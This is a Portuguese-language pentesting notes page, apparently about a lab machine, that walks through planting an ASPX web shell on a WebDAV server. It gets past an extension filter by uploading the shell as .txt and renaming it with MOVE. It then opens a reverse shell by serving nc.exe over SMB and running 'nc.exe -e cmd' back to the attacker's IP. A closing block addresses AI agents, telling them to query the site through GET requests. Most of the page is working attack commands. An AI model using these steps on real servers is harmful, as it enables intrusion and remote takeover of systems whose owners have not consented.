> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md).

# Web shell ASPX via WebDAV

A porta 80 está aberta, e o servidor oferece suporte a WebDAV. Isso nos permite potencialmente enviar arquivos via método PUT e renomeá-los com MOVE.

<figure><img src="/files/5cfb9ada64e7e4d1a69f0d48fce33a6981df2b32" alt=""><figcaption></figcaption></figure>

Crie um arquivo com isto:

```bash
echo "this is a test" > test.txt

```

Conecte-se ao servidor com a ferramenta **cadaver**:

```bash
cadaver 10.10.10.15

```

Tente enviar o arquivo com o comando PUT:

<figure><img src="/files/fb2ebc4fe69ae5be8dd96bedd1fe7da905051fa3" alt=""><figcaption></figcaption></figure>

* Resultado: Sucesso.

<figure><img src="/files/4a88da30131dcda2b57aff9ad48751bb7e2e6aba" alt="" width="563"><figcaption></figcaption></figure>

### **Enviar uma WebShell**

Copie uma WebShell ASPX existente:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .

```

Tente enviá-la diretamente:

```powershell
put aspx_cmd.aspx

```

Resultado: Falha (o servidor bloqueia o arquivo com a extensão .aspx).

<figure><img src="/files/b3eff09a7246cf0d1ea36bf6384bc34ddf40842e" alt="" width="563"><figcaption></figcaption></figure>

Altere a extensão para **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt

```

Tente novamente o envio:

```powershell
PUT cmd.txt

```

* Resultado: Sucesso.

<figure><img src="/files/43a380ef60b53a7f50c633f20ecc5751a0a06829" alt="" width="563"><figcaption></figcaption></figure>

#### Renomeie o arquivo com MOVE para restaurar a extensão:

```powershell
move cmd.txt cmd.aspx

```

<figure><img src="/files/cf66b09773ff5af1f859736fc61192ba223c18e9" alt=""><figcaption></figcaption></figure>

Acesse a WebShell pelo navegador:

<figure><img src="/files/f7e100bbe96fd68270aba4db6b8597aafda62b54" alt=""><figcaption></figcaption></figure>

### **Shell reversa via WebShell:**

Coloque um Netcat executável no diretório atual:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

Inicie um servidor SMB para compartilhar o arquivo:

```bash
smbserver.py smbFolder $(pwd) -smb2support

```

Defina sua máquina como ouvinte na porta 443:

```bash
sudo rlwrap nc -nvlp 443

```

Execute o comando de shell reversa a partir da WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443

```

<figure><img src="/files/960e5e91eaf27ed5fca1b388c3b52e8bb7611026" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
